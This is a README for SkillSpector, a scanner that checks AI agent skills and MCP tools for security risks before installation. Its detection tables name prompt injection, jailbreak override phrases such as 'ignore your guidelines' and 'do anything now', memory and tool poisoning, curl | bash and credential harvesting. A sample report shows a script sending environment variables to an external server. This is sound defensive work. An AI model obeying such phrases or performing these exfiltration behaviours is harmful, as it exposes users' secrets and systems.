用于 AI 代理技能的安全扫描器。在安装 Claude Code、Codex 和 MCP 技能之前,检测其中的漏洞、恶意模式、安全风险、提示注入、数据外泄和供应链风险。
AI 代理技能的安全扫描器。 在安装代理技能之前检测漏洞、恶意模式和安全隐患。
AI 代理技能(用于 Claude Code、Codex CLI、Gemini CLI 等)以隐式信任和极少的审查执行。研究表明,26.1% 的技能包含漏洞,5.2% 表现出可能的恶意意图。
SkillSpector 帮助您回答:"这个技能安装安全吗?"
SkillSpector 是 NVIDIA Verified Skills pipeline 的一部分,该流水线在发布前对代理技能进行扫描、评估和签名。通过审核的技能将发布到 NVIDIA skills catalog。
开源软件声明: 本项目将下载并安装额外的第三方开源软件项目。使用前请查看这些开源项目的许可证条款。
首先创建并激活虚拟环境(所有 make 目标都假定 venv 处于激活状态)。使用 uv 或 pip;Makefile 在可用时使用 uv,否则使用 pip。
使用 uv 快速安装(仅 CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
如果你打算运行 `skillspector mcp`,请在安装时安装 MCP extra:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
从源代码:```bash
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
uv venv .venv && source .venv/bin/activate
make install
make install-dev
### Docker(无需 Python)
无需安装 Python 即可运行 SkillSpector,只需从随附的 [Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile) 本地构建镜像。该镜像基于 Docker 官方 Python `3.12-slim-bookworm` 镜像。
**构建镜像:**```bash
make docker-build
# or: docker build -t skillspector .
扫描本地目录:将当前目录挂载到 /scan(容器的工作目录):```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**使用 LLM 分析进行扫描**,通过本地 `.env` 文件传递凭据:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
或者直接从您的 shell 环境传递凭据:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
将报告写入主机文件系统,通过写入挂载的目录:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**可选别名** 用于重复静态扫描:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
skillspector scan ./my-skill/
skillspector scan ./SKILL.md
skillspector scan https://github.com/user/my-skill
skillspector scan ./my-skill.zip
#### 大小限制
SkillSpector 对远程和归档输入执行两个独立的限制,以约束超大下载和 zip 炸弹的影响:
- **每次摄取上限**:`INGEST_MAX_BYTES`(100 MiB)——适用于流式 URL 下载、zip 归档的总未压缩大小,以及 Git 仓库克隆后的磁盘占用。
- **ZIP 成员上限**:`INGEST_MAX_ZIP_MEMBERS`(10,000)——限制单个 zip 中的条目数量。
请注意,每个文件 1 MB 的分析上限(`MAX_FILE_BYTES`)是一个独立的下游限制:它限制各个分析器从已摄取目录中读取的内容量。上述摄取上限则限制一开始能落到磁盘上的内容量。违反任一摄取上限都会安全失败(fail closed)并抛出 `IngestLimitExceededError`。
### 输出格式```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
从 contrib/batch_scan/ 并行扫描整个技能目录:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
Supports multilingual detection (zh/ja/ko) and terminal/JSON/Markdown output.
For LLM scans with higher concurrency, configure multiple API keys following
[`.env.example`](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/.env.example) — the pool improves throughput
and resilience, provided the keys don't share an account-level rate limit.
See the [contrib guide](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/docs/) for details.
> **Note on LLM support:** The default configuration targets DeepSeek as the
> cheapest public option. DeepSeek-Chat is
> [expected to sunset](https://api-docs.deepseek.com/), and the contributor
> does not have hardware to test against local models. The batch scanner was
> originally tested with OpenAI-compatible endpoints — DeepSeek's lack of
> structured-output support required manual JSON-parsing patches. If you can
> contribute a more universal backend (Ollama, vLLM, or a different provider),
> PRs are very welcome.
### Suppressing False Positives (baseline)
Suppress known/accepted findings so the risk score reflects only un-triaged
issues and re-scans surface only *new* findings. See the
[suppression guide](https://github.com/nvidia/skillspector/blob/HEAD/docs/SUPPRESSION.md) for the full reference.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
基线还可以使用漂移容忍的 glob 规则(按规则 ID、文件路径或
消息)—参见 .skillspector-baseline.example.yaml。
精确指纹基线与证据绑定:更改被扫描的源或
SkillSpector 版本后,该发现将保持活跃,直到再次审查。
当所选基线或基线输出存储在技能
目录内时,SkillSpector 会将该确切文件排除在内容分析之外,因此其
抑制文本不会产生发现,也不会进入重新生成的指纹;
同级文件仍处于正常扫描范围内。
为获得最佳结果,请配置一个兼容 OpenAI 的 LLM 端点,用于
语义分析。通过 SKILLSPECTOR_PROVIDER 选择提供商;托管提供商附带内置的默认模型,而 CLI 提供商则回退到本地运行时的默认模型,除非设置了 SKILLSPECTOR_MODEL。SkillSpector 也适用于
本地兼容 OpenAI 的服务器(Ollama、vLLM、llama.cpp)以及托管
推理网关。
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=bedrock
export AWS_REGION=us-west-2 # default if unset
skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
claude auth login sessionexport SKILLSPECTOR_PROVIDER=claude_cli
skillspector scan ./my-skill/
codex login sessionexport SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
skillspector scan ./my-skill/ --no-llm
### MCP 服务器
将 SkillSpector 作为 [Model Context Protocol](https://modelcontextprotocol.io)
服务器运行,使任何支持 MCP 的代理(Claude Code、Codex CLI、Gemini CLI)或远程
运行时都能将扫描作为工具调用,并**根据结果对技能/MCP 安装进行
把关** — 从而将 SkillSpector 转变为运行时防护栏,而非
带外审计步骤。
`skillspector mcp` 需要 `skillspector[mcp]`。```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
stdio 传输是当前面向本地 CLI 代理的 FastMCP 路径,且 issue #199 中报告的初始化挂起问题在该路径上仍然存在。
该服务器只暴露一个工具:
scan_skill(target, use_llm=true, output_format="json") — 扫描 Git
URL、文件 URL、.zip、.md 文件或目录,并返回结构化
结论:risk_score (0-100)、severity、recommendation、
safe_to_install 和 findings。它还会报告 llm_used / scan_mode,
这样仅静态扫描得到的低分就不会被误认为是
完整扫描的干净结果。通过以下方式将其注册到 Claude Code:```bash claude mcp add skillspector -- skillspector mcp
> **安全 — HTTP 传输信任模型**
>
> HTTP 传输**不包含身份验证**。任何能够访问该端口的调用者都可以调用 `scan_skill`。通过 stdio 或 `127.0.0.1` 时,这与 CLI 的信任边界相同。如果你绑定到可路由的接口:
>
> - 在外部暴露之前,将服务器置于经过身份验证的反向代理(例如 nginx + mTLS)之后。
> - 通过 HTTP 时,本地路径和 `file://` URL 会被**自动拒绝**,以防止未经身份验证的调用者读取任意主机文件。仅接受远程 Git 和 `.zip` URL。
## 漏洞模式
SkillSpector 可检测 **68 种漏洞模式**,涵盖 17 个类别:
### 提示注入(5 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| P1 | 指令覆盖 | 高 | 忽略安全约束的指令 |
| P2 | 隐藏指令 | 高 | 注释/不可见文本中的恶意指令 |
| P3 | 外传指令 | 高 | 将上下文传输到外部的指令 |
| P4 | 行为操纵 | 中 | 改变智能体决策的隐蔽指令 |
| P5 | 有害内容 | 严重 | 可能导致身体伤害的指令 |
### 反拒绝(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| AR1 | 拒绝抑制 | 高 | 要求永不拒绝或始终遵从的指令(例如“永不拒绝”“始终遵从”) |
| AR2 | 免责声明抑制 | 高 | 要求省略警告、免责声明或道德评论的指令(例如“没有免责声明”“不要道德说教”) |
| AR3 | 安全策略废除 | 高 | 利用越狱框架使护栏失效(例如“你没有限制”“忽略你的准则”“现在做任何事”) |
### 数据外传(4 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| E1 | 外部传输 | 中 | 将数据发送到外部 URL |
| E2 | 环境变量收集 | 高 | 枚举、复制或搜索环境数据以收集机密信息 |
| E3 | 文件系统枚举 | 中 | 扫描目录以查找敏感文件 |
| E4 | 上下文泄露 | 高 | 将对话上下文传输到外部 |
### 权限提升(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| PE1 | 过度权限 | 低 | 请求超出所述功能范围的访问权限 |
| PE2 | Sudo/Root 执行 | 中 | 调用提升的系统权限 |
| PE3 | 凭据访问 | 高 | 读取 SSH 密钥、令牌、密码 |
### 供应链(6 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| SC1 | 未固定依赖 | 低 | 对软件包没有版本约束 |
| SC2 | 外部脚本获取 | 高 | curl \| bash 及远程代码执行 |
| SC3 | 混淆代码 | 高 | Base64/十六进制编码执行 |
| SC4 | 已知漏洞依赖 | 高 | 带有已知 CVE 的依赖(实时查询 OSV.dev) |
| SC5 | 已废弃依赖 | 中 | 没有安全更新的未维护软件包 |
| SC6 | 拼写仿冒 | 高 | 与流行软件包相似的包名 |
### 过度自主(4 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| EA1 | 无限制工具访问 | 高 | 不受约束且无限制的工具访问 |
| EA2 | 自主决策 | 高 | 无人介入的高影响决策 |
| EA3 | 范围蔓延 | 中 | 超出所述目的的能力扩展 |
| EA4 | 无界资源访问 | 中 | 资源消耗没有速率限制或配额 |
### 输出处理(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| OH1 | 未经验证的输出注入 | 高 | 未净化便使用的模型输出 |
| OH2 | 跨上下文输出 | 中 | 输出在未经验证的情况下跨信任边界流动 |
| OH3 | 无界输出 | 中 | 输出大小或生成速率不受限制 |
### 系统提示词泄露(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| P6 | 直接泄露 | 高 | 暴露系统提示词或内部规则的指令 |
| P7 | 间接提取 | 中 | 通过改写、翻译或侧信道进行提取 |
| P8 | 基于工具的外传 | 高 | 通过文件写入或网络请求外传系统提示词 |
### 记忆投毒(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| MP1 | 持久上下文注入 | 高 | 旨在跨交互持久化的内容 |
| MP2 | 上下文窗口填充 | 中 | 挤占安全约束空间的填充内容 |
| MP3 | 记忆操纵 | 高 | 篡改智能体记忆或存储状态 |
### 工具滥用(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| TM1 | 工具参数滥用 | 高 | 为意外行为而构造的参数(`shell=True`、`--force`) |
| TM2 | 链式滥用 | 高 | 绕过各单项安全检查的工具链 |
| TM3 | 不安全默认值 | 中 | 过度宽松的默认值(禁用 TLS、无身份验证) |
### 恶意智能体(2 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| RA1 | 自我修改 | 严重 | 在运行时修改自身代码或配置 |
| RA2 | 会话持久化 | 高 | 通过 cron 作业或启动脚本实现未授权持久化 |
### 触发器滥用(3 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| TR1 | 过度宽泛的触发器 | 中 | 匹配常见单词的触发模式 |
| TR2 | 阴影命令触发器 | 高 | 遮盖内置命令或其他技能的触发器 |
| TR3 | 关键词诱饵触发器 | 中 | 旨在最大化激活的通用触发器 |
### 行为 AST(9 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| AST1 | exec() 调用 | 严重 | 直接的 exec() 允许任意代码执行 |
| AST2 | eval() 调用 | 高 | 直接的 eval() 计算任意表达式 |
| AST3 | 动态导入 | 高 | \_\_import\_\_() 在运行时加载任意模块 |
| AST4 | subprocess 调用 | 高 | 通过 subprocess 执行外部命令 |
| AST5 | os.system / exec 系列 | 高 | 通过 os 模块执行 Shell 命令 |
| AST6 | compile() 调用 | 中 | 从字符串创建代码对象 |
| AST7 | 动态 getattr() | 中 | 使用非字面量名称进行任意属性访问 |
| AST8 | 危险执行链 | 严重 | exec/eval 结合动态来源(网络、编码数据) |
| AST9 | 反射式 getattr() 汇聚点 | 高 | 通过 `getattr(os,'system')` / `getattr(builtins,'exec')` 进行反射式 exec,从而规避 AST1/AST5 |
### 污点跟踪(5 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| TT1 | 直接污点流 | 高 | 数据未经净化直接从源流向汇聚点 |
| TT2 | 变量介导的污点流 | 中 | 数据通过中间变量从源流向汇聚点 |
| TT3 | 凭据外传链 | 严重 | 凭据(环境变量、机密)流向网络输出汇聚点 |
| TT4 | 文件读取到网络外传 | 高 | 文件内容流向网络输出汇聚点 |
| TT5 | 外部输入到代码执行 | 严重 | 网络或用户输入流向 exec/eval/subprocess 汇聚点 |
### YARA 签名(4 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| YR1 | 恶意软件匹配 | 严重 | YARA 规则匹配已知恶意软件特征 |
| YR2 | WebShell 匹配 | 严重 | YARA 规则匹配 webshell 模式 |
| YR3 | 加密货币矿工匹配 | 高 | YARA 规则匹配加密货币挖矿指标 |
| YR4 | 黑客工具/漏洞利用匹配 | 高 | YARA 规则匹配黑客工具或漏洞利用代码 |
### MCP 最小权限(4 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| LP1 | 未声明的能力 | 高 | 代码使用了声明权限中未列出的能力 |
| LP2 | 通配符权限 | 中 | 权限列表包含通配符(\*, all, full, any) |
| LP3 | 缺少权限声明 | 中 | 没有权限字段,但代码具有可检测的能力 |
| LP4 | 过度声明的权限 | 低 | 声明了权限,但未找到对应的代码能力 |
### MCP 工具投毒(4 种模式)
| ID | 模式 | 严重性 | 描述 |
|----|---------|----------|-------------|
| TP1 | 隐藏指令 | 高 | 元数据中的隐藏指令(HTML 注释、零宽字符、base64、数据 URI) |
| TP2 | Unicode 欺骗 | 高 | 工具元数据中的同形字、RTL 覆盖、混合文字标识符 |
| TP3 | 参数描述注入 | 中 | 参数定义中的注入模式(覆盖、系统令牌、恶意默认值) |
| TP4 | 描述-行为不匹配 | 中 | 声明的工具描述与实际代码行为不匹配(基于 LLM) |
所有检测到的模式均列于上面的表格中。
## 风险评分
### 分数计算
- **严重问题**:+50 分
- **高危问题**:+25 分
- **中等问题**:+10 分
- **低风险问题**:+5 分
- **可执行脚本**:1.3 倍乘数
### 严重性级别
| 分数 | 严重性 | 建议 |
|-------|----------|----------------|
| 0-20 | 低 | 安全 |
| 21-50 | 中 | 谨慎 |
| 51-80 | 高 | 请勿安装 |
| 81-100 | 严重 | 请勿安装 |
## 示例输出
### 终端输出```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
CLI 提供商(
claude_cli、codex_cli):无需 API 密钥。身份验证完全由代理 CLI 自身的登录会话(claude auth login/codex login)管理。当这些提供商处于活动状态时,SkillSpector 绝不会读取或转发 API 密钥。子进程在强化沙箱中运行:工具已禁用、无 MCP、只读沙箱模式(codex),且不受信任的技能内容仅通过 stdin 传入。
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## 集成 SkillSpector
SkillSpector 旨在由其他工具驱动(CI 流水线、安装门禁、编辑器集成)。其退出码和 JSON 输出是稳定的契约。
### 退出码
`skillspector scan` 以以下退出码退出:
| Code | Meaning |
|------|---------|
| `0` | 扫描完成,`risk_score` ≤ 50(建议 `SAFE` 或 `CAUTION`) |
| `1` | 扫描完成,`risk_score` > 50(建议 `DO_NOT_INSTALL`) |
| `2` | 错误(输入错误、源不可读、内部故障) |
> 退出码将 `SAFE` 和 `CAUTION` 归并为 `0`。若要对其采取不同行动(例如对 `CAUTION` 发出*警告*,但对 `DO_NOT_INSTALL` 进行*阻止*),请从 JSON 输出中读取 `recommendation` 字段,而不是依赖退出码。
### 机器可读输出
`--format json` 生成 JSON 报告;若不指定 `--output`/`-o`,则写入标准输出:```bash
skillspector scan ./my-skill/ --format json
顶层结构为(此示例展示了一次完整的基于 LLM 的扫描;使用 --no-llm 时,metadata.llm_requested 为 false):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, 根据严重性映射:`LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` 仅在请求了 LLM 分析但不可用时出现。
- `metadata.inference_usage` 在提供方暴露令牌计数器时,包含每个 LLM 响应的
一条脱敏记录。当用量不可用时,它为空列表;
SkillSpector 永远不会估算缺失的令牌。提示词总计包含缓存读取和写入,
以便下游定价可以安全地区分这些分区。
`model_source` 用于区分独立识别出的提供方模型与
响应身份缺失或模糊时实际使用的精确请求模型。
SkillSpector 目前不发送 Anthropic 提示缓存控制,因此其
扫描请求无法选择单独的 5 分钟或 1 小时缓存写入层级;
与 TTL 相关的响应字段会被防御性地规范化到聚合的
缓存写入计数器。
- 请参阅 [推理使用遥测](https://github.com/nvidia/skillspector/blob/HEAD/docs/INFERENCE_USAGE.md) 了解完整的
来源、缓存核算、隐私、故障关闭摄取以及下游
定价契约。
- 每个问题的完整结构由 [models.py](https://github.com/nvidia/skillspector/blob/HEAD/src/skillspector/models.py) 中的 `Finding.to_dict()` 定义;请依赖上述字段,并将任何其他字段视为尽力而为。
对于 CI/IDE 工具,`--format sarif` 输出 SARIF 2.1.0。
### 推荐的拦截映射
将 SkillSpector 用作安装拦截时,将建议映射为操作:
| `recommendation` | 建议操作 |
|------------------|------------------|
| `SAFE` | 放行 |
| `CAUTION` | 提示 / 警告用户 |
| `DO_NOT_INSTALL` | 阻止 |
SkillSpector 计算评分区间和建议;拦截的严格程度(例如 `CAUTION` 是否在 CI 中阻止)是集成工具的策略决定。
## 开发
### 设置
所有 `make` 目标都假定虚拟环境已创建并激活。Makefile 在可用时使用 **uv**,否则使用 **pip**。```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
SkillSpector 使用两阶段检测流水线:
有效的根级 OpenSSF Model Signing 签名(skill.oms.sig)在组件清单中保留为 oms_signature 类型,但不参与静态和 LLM 内容分析。OMS 包必然包含较长的 base64 编码负载、签名和证书字段;否则,通用的混淆代码检查可能会将这些字段误分类为隐藏的可执行内容。识别器检查最小的 OMS DSSE/in-toto 结构;它不会验证签名、证书链、透明日志条目或签名者身份。无效或无法识别的签名文件会按正常方式扫描。
LLM 提示词包含防越狱保护,以防恶意技能操纵分析。
SC4 使用 OSV.dev API 将依赖项与完整开源漏洞数据库进行比对——覆盖 PyPI 和 npm 的数万条安全公告。
该工具需要能够对 api.osv.dev 进行出站 HTTPS 访问以获取实时漏洞数据。如果无法访问,则发现结果仅限于静态回退列表。
SkillSpector 是纵深防御,不是沙箱。在依赖它之前,请了解它能做什么和不能做什么:
SKILLSPECTOR_PROVIDER 端点。已被识别的 OMS 签名文件会除外。使用 --no-llm 可让内容保留在本地(仅进行静态分析)。--no-llm 也会运行。它会发送依赖项坐标(而非文件内容),无需 API 密钥,并且在 OSV.dev 不可达时会回退到内置列表。api.osv.dev 时,SC4 使用一个小型静态回退列表基于 "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale"(Liu 等人,2026 年)的研究:
from skillspector import graph
result = graph.invoke({ "input_path": "/path/to/skill", "output_format": "json", # terminal, json, markdown, or sarif "use_llm": True, # False for static-only analysis })
print(f"Risk Score: {result['risk_score']}/100") print(f"Severity: {result['risk_severity']}") print(f"Recommendation: {result['risk_recommendation']}")
for finding in result["filtered_findings"]: print(f"[{finding['severity']}] {finding['rule_id']}: {finding['message']}")
## License
Apache License 2.0 - 详情请参阅 [LICENSE](https://github.com/nvidia/skillspector/blob/HEAD/LICENSE)。
## Contributing
欢迎贡献!请阅读我们的贡献指南并提交拉取请求。
## Support
- **Issues**:[GitHub Issues](https://github.com/NVIDIA/skillspector/issues)
提供商(SKILLSPECTOR_PROVIDER) | 凭据环境变量 | 端点 | 默认模型 |
|---|
openai | OPENAI_API_KEY(+ 可选 OPENAI_BASE_URL) | api.openai.com(或任何兼容 OpenAI 的 URL) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | 任何 Vertex 风格的 raw-predict 代理 | claude-sonnet-4-6 |
bedrock | AWS_PROFILE(可选)+ AWS_REGION — 通过 boto3 使用 SigV4 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (无 — 使用本地 CLI 认证) | 本地 claude 二进制文件 | 本地 Claude 运行时回退,或 SKILLSPECTOR_MODEL |
codex_cli | (无 — 使用本地 CLI 认证) | 本地 codex 二进制文件 | 本地 Codex 运行时回退,或 SKILLSPECTOR_MODEL |
| 变量 | 描述 | 必填 |
|---|
SKILLSPECTOR_PROVIDER | 活跃的 LLM 提供商:openai、anthropic、anthropic_proxy、bedrock、nv_build、claude_cli、codex_cli 或 gemini_cli。托管提供商使用内置的 model_registry.yaml 默认配置;除非设置了 SKILLSPECTOR_MODEL,否则 claude_cli 和 codex_cli 会回退到本地 CLI 运行时的默认模型。默认值为 nv_build。 | 可选 |
NVIDIA_INFERENCE_KEY | nv_build 提供商(build.nvidia.com)的凭据。 | 当 SKILLSPECTOR_PROVIDER=nv_build 时,LLM 分析必填 |
OPENAI_API_KEY | OpenAI 提供商(SKILLSPECTOR_PROVIDER=openai)的凭据。当活动提供商未返回任何凭据时,它还会在凭据瀑布流中充当第二级回退。 | 当 SKILLSPECTOR_PROVIDER=openai 时,LLM 分析必填 |
OPENAI_BASE_URL | 覆盖 OpenAI 端点(例如指向 Ollama)。 | 可选 |
SKILLSPECTOR_REASONING_EFFORT | 可选的、取决于提供商和模型的推理工作量设置。非空值会被去除首尾空白并按原样传递;未设置或留空则保留提供商的默认行为。 | 可选 |
ANTHROPIC_API_KEY | Anthropic 提供商(SKILLSPECTOR_PROVIDER=anthropic)的凭据。 | 当 SKILLSPECTOR_PROVIDER=anthropic 时,LLM 分析必填 |
ANTHROPIC_BASE_URL | 覆盖原生 Anthropic 端点(默认:https://api.anthropic.com)。 | 可选 |
ANTHROPIC_PROXY_ENDPOINT_URL | 用于 Anthropic 代理提供商(Vertex 风格的 raw-predict)的完整端点 URL。 | 当 SKILLSPECTOR_PROVIDER=anthropic_proxy 时需要 |
ANTHROPIC_PROXY_API_KEY | Anthropic 代理提供商的 Bearer 令牌。 | 当 SKILLSPECTOR_PROVIDER=anthropic_proxy 时需要 |
ANTHROPIC_PROXY_API_VERSION | 请求正文中发送的 anthropic_version 值(默认:vertex-2023-10-16)。 | 可选 |
AWS_PROFILE | Bedrock 提供商的命名 AWS 配置文件——通过 boto3 使用 SigV4 进行身份验证。未设置时,使用标准 boto3 凭据链(环境变量、实例元数据、SSO 等)进行解析。 | 可选(当 SKILLSPECTOR_PROVIDER=bedrock 时使用) |
AWS_REGION | Bedrock Runtime 端点的 AWS 区域。默认值为 us-west-2。 | 可选(当 SKILLSPECTOR_PROVIDER=bedrock 时使用) |
SKILLSPECTOR_MODEL | 覆盖当前提供商的模型。对于托管提供商,这会替换 LLM 分析表中的内置默认值。对于 claude_cli 和 codex_cli,该值会作为 --model 转发,而不是使用本地 CLI 运行时的回退值。 | 可选 |
SKILLSPECTOR_MODEL_REGISTRY | 使用自定义路径覆盖内置的按提供商 YAML 注册表(src/skillspector/providers/<provider>/model_registry.yaml)。 | 可选 |
SKILLSPECTOR_LOG_LEVEL | 日志级别:DEBUG、INFO、WARNING、ERROR(默认:WARNING)。 | 可选 |